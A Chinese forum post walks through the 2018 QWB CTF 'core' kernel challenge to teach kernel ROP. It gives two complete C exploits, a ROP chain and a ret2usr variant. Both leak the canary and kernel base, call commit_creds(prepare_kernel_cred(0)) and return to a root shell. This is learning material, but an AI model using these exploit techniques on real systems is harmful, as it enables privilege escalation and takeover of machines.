首页
论坛
专栏
课程

[原创]Linux Kernel Exploit 内核漏洞学习(2)-ROP

2019-7-27 20:09 2218

[原创]Linux Kernel Exploit 内核漏洞学习(2)-ROP

2019-7-27 20:09
2218

简介

ROP的全称为Return-oriented Programming,主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程;这种攻击方法在用户态的条件中运用的比较多,ret2shellcode,ret2libc,ret2text等ret2系列都利用到了ROP的思想,当然这种攻击手法在内核态同样是有用的,并且手法都基本一样....
这里我以2018年的强网杯中的core来进行演示和学习的,环境我已经放到的了github上面了,需要的可以自行下载学习....

前置知识

kernel space to user space

我们知道Linux操作系统中用户态和内核态是相互隔离的,所以当系统从内核态返回到用户态的时候就必须要进行一些操作,才可以是两个状态分开,具体操作是:

  1. 通过swapgs指令恢复用户态GS的值;
  2. 通过sysretq或者iretq指令恢复到用户控件继续执行;如果使用iretq指令则还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp等);
    比如这里利用的iretq指令,在栈中就给出CS,eflags,sp,ss等信息:
    iretq
    当然,我们可以通过下来这这个函数来获取并保存这些信息:
    unsigned long user_cs, user_ss, user_eflags, user_sp;
    void save_stats(){
     asm(
         "movq %%cs, %0\n"
         "movq %%ss, %1\n"
         "movq %%rsp, %3\n"
         "pushfq\n"
         "popq %2\n"
         :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
          :
          : "memory"
      );
    }
    

    提权函数

    在内核态提权到root,一种简单的方法就是是执行下面这个函数:
    commit_creds(prepare_kernel_cred(0));
    
    这个函数会使我们分配一个新的cred结构(uid=0, gid=0等)并且把它应用到调用进程中,此时我们就是root权限了;
    commit_credsprapare_kernel_cred都是内核函数,一般可以通过cat /proc/kallsyms查看他们的地址,但是必须需要root权限....
    cat

具体分析

现在我们可以先分析一下这个core.ko驱动了:
首先查看一下这个ko文件的保护机制有哪些:
checksec
开启了canary保护....
core_ioctl:
core_ioctl
这个函数定义了三条命令,分别调用core_read(),core_copy_func(),并且可以设置全局变量off;
core_copy_func:
core_copy_func
这个函数会根据用户的输入长度,从name这个全局变量中往栈上写数据,并且函数在判断我们输入的这个a1变量类型的时候是signed long long,但是qmemcpy的时候就变成了unsigned __int16了,所以这里存在一个截断,当我们输入如0xf000000000000000|0x100这样的数据就可以绕过限制,就可以造成内核的栈溢出了;
core_read:
core_read
这个函数会从栈上读出长度为0x40的数据,并且读的起始位置我们可以通过改变off这个全局变量的大小来控制,也就是说这个我们可以越界访问数据,将栈上面的返回地址,canary等信息读到....
core_write:
core_write
最后这个函数我们可以向全局变量name中写入一个长度不大于0x800的字符串....

思路方法

所以现在我们思路比较清晰了:

  1. 首先通过ioctl函数设置全局变量off的大小,然后通过core_read()leak出canary;
  2. 然后通过core_write()向全局变量name中写入我们构造的ROPchain;
  3. 通过设置合理的长度利用core_copy_func()函数把name的ROPchain向v2变量上写,进行ROP攻击;
  4. ROP调用commit_creds(prepare_kernel_cred(0)),然后swapgs,iretq到用户态;
  5. 用户态起shell,get root;
    所以这里最重要的就是我们的ROPchain的构造了....
    为了方便调试,我们修改一下init文件:

    - setsid /bin/cttyhack setuidgid 1000 /bin/sh
    + setsid /bin/cttyhack setuidgid 0 /bin/sh
    

    这样我们start的时候就是root权限了,方便我们查看一些函数的地址;

    获得基地址

    首先我们查看一下qume中函数的地址:
    qemu
    然后通过gdb调试查看core_read的栈内容:
    stack
    基本我们能够从栈中泄露vmlinux和core.ko的基地址了....
    通过这些位置的地址减去偏移就是基地址了,这个和在用户态找libc的基地址的方法是一样的,所以就不过多解释了.....
    然后我们可以利用ropper工具来查找我们需要的gadget了:

    ropper --file vmlinux --search "pop|ret"
    

    这里建议使用ropper而不是ROPgadget,因为ROPgadget太慢了,ropper可以直接通过pip install ropper来安装;
    这里多说一点,其实有时候如果等待的时间是在太长了可以试试这个这样去找:

    objdump -d vmlinux -M intel | grep -E 'ret|pop'
    

    只是这样格式不是太好看,但是非常快....
    我这里构造出来的rop链在代码中基本都体现出来了,所以直接看代码就好;
    #EXP
    poc.c:

    #include <stdio.h>
    #include <fcntl.h>
    #include <unistd.h>
    int fd;
    unsigned long user_cs, user_ss, user_eflags,user_sp;
    
    void core_read(char *buf){
     ioctl(fd,0x6677889B,buf);
     //printf("[*]The buf is:%x\n",buf);
    }
    
    void change_off(long long v1){
     ioctl(fd,0x6677889c,v1);
    }
    
    void core_write(char *buf,int a3){
     write(fd,buf,a3);
    }
    
    void core_copy_func(long long size){
     ioctl(fd,0x6677889a,size);
    }
    
    void shell(){
     system("/bin/sh");
    }
    
    void save_stats(){
     asm(
         "movq %%cs, %0\n"
         "movq %%ss, %1\n"
         "movq %%rsp, %3\n"
         "pushfq\n"
         "popq %2\n"
         :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
          :
          : "memory"
      );
    }
    
    int main(){
     int ret,i;
     char buf[0x100];
     size_t vmlinux_base,core_base,canary;
     size_t commit_creds_addr,prepare_kernel_cred_addr;
     size_t commit_creds_offset = 0x9c8e0;
     size_t prepare_kernel_cred_offset = 0x9cce0;
     size_t rop[0x100];
     save_stats();
     fd = open("/proc/core",O_RDWR);
     change_off(0x40);
     core_read(buf);
     /*
     for(i=0;i<0x40;i++){
     printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
     }
     */
     vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;
     core_base = *(size_t *)(&buf[0x10]) - 0x19b;
     prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
     commit_creds_addr = vmlinux_base + commit_creds_offset;
     canary = *(size_t *)(&buf[0]);
     printf("[*]canary:%p\n",canary);
     printf("[*]vmlinux_base:%p\n",vmlinux_base);
     printf("[*]core_base:%p\n",core_base);
     printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
     printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
     //junk
     for(i = 0;i < 8;i++){
         rop[i] = 0x66666666;
     }
     rop[i++] = canary;                      //canary
     rop[i++] = 0;                           //rbp(junk)
     rop[i++] = vmlinux_base + 0xb2f;        //pop_rdi_ret;
     rop[i++] = 0;                           //rdi
     rop[i++] = prepare_kernel_cred_addr;
     rop[i++] = vmlinux_base + 0xa0f49;      //pop_rdx_ret
     rop[i++] = vmlinux_base + 0x21e53;      //pop_rcx_ret
     rop[i++] = vmlinux_base + 0x1aa6a;      //mov_rdi_rax_call_rdx
     rop[i++] = commit_creds_addr;
     rop[i++] = core_base + 0xd6;            //swapgs_ret
     rop[i++] = 0;                           //rbp(junk)
     rop[i++] = vmlinux_base + 0x50ac2;      //iretp_ret
     rop[i++] = (size_t)shell;
     rop[i++] = user_cs;
     rop[i++] = user_eflags;
     rop[i++] = user_sp;
     rop[i++] = user_ss;
     core_write(rop,0x100);
     core_copy_func(0xf000000000000100);
     return 0;
    }
    

    编译:

    gcc poc.c -o poc -w -static
    

    运行:
    root
    这里说两个地方,第一个是确定填充的垃圾数据的大小时,可以利用gbd动态调试查看确定:
    junk
    确定填充的大小是0x40;
    然后就是ROP链中有一个:

     rop[i++] = vmlinux_base + 0xa0f49;      //pop_rdx_ret
     rop[i++] = vmlinux_base + 0x21e53;      //pop_rcx_ret   
     rop[i++] = vmlinux_base + 0x1aa6a;      //mov_rdi_rax_call_rdx
    

    这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去:
    pop

ret2usr

最后这里在说另外一个方法也是基于ROP的方法;
因为这个内核开启了kalsr和canary,但是没有开启smep保护,我们可以利用在用户空间的进程不能访问内核空间,但是在内核空间能访问用户空间的特性,我们可以直接返回到用户空间构造的commit_creds(prepare_kernel_cred(0))(通过函数指针实现来提权,虽然这两个函数位于内核空间,但因为此时我们是ring 0特权,所以可以正常运行;

EXP

ret2usr.c:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
unsigned long user_cs, user_ss, user_eflags,user_sp;
size_t commit_creds_addr,prepare_kernel_cred_addr;

void core_read(char *buf){
    ioctl(fd,0x6677889B,buf);
    //printf("[*]The buf is:%x\n",buf);
}

void change_off(long long v1){
    ioctl(fd,0x6677889c,v1);
}

void core_write(char *buf,int a3){
    write(fd,buf,a3);
}

void core_copy_func(long long size){
    ioctl(fd,0x6677889a,size);
}

void shell(){
    system("/bin/sh");
}

void save_stats(){
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
}

void get_root(){
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

int main(){
    int ret,i;
    char buf[0x100];
    size_t vmlinux_base,core_base,canary;
    size_t commit_creds_offset = 0x9c8e0;
    size_t prepare_kernel_cred_offset = 0x9cce0;
    size_t rop[0x100];
    save_stats();
    fd = open("/proc/core",O_RDWR);
    change_off(0x40);
    core_read(buf);
    /*
    for(i=0;i<0x40;i++){
    printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
    }
    */
    vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;
    core_base = *(size_t *)(&buf[0x10]) - 0x19b;
    prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
    commit_creds_addr = vmlinux_base + commit_creds_offset;
    canary = *(size_t *)(&buf[0]);
    printf("[*]canary:%p\n",canary);
    printf("[*]vmlinux_base:%p\n",vmlinux_base);
    printf("[*]core_base:%p\n",core_base);
    printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
    printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
    //junk
    for(i = 0;i < 8;i++){
        rop[i] = 0x66666666;
    }
    rop[i++] = canary;                      //canary
    rop[i++] = 0x0;
    rop[i++] = (size_t)get_root;
    rop[i++] = core_base + 0xd6;            //swapgs_ret
    rop[i++] = 0;                           //rbp(junk)
    rop[i++] = vmlinux_base + 0x50ac2;      //iretp_ret
    rop[i++] = (size_t)shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    core_write(rop,0x100);
    core_copy_func(0xf000000000000100);
    return 0;
}

编译:

gcc ret2usr.c -o ret2usr -w -static

运行:
ret2usr

 

可以发现这两个方法的代码非常的相似,因为原理都一样的....

总结

这个演示看起来很简单,但是在实际的操作过程当中会遇到比较多的问题,在内核态调试没有在用户态方便,因为内核一旦崩溃了就会重启,所以崩溃的时候gdb不一定断的下来,只能通过单步跟踪来慢慢的定位问题....



[挑战]看雪.纽盾 KCTF 2019晋级赛Q3攻击方进行中……,华为P30 Pro、iPad、kindle等你来拿!

最后于 2019-7-28 16:15 被钞sir编辑 ,原因:
最新回复 (1)
kongfubull 2019-7-29 11:38
2
0
mark
游客
登录 | 注册 方可回帖
返回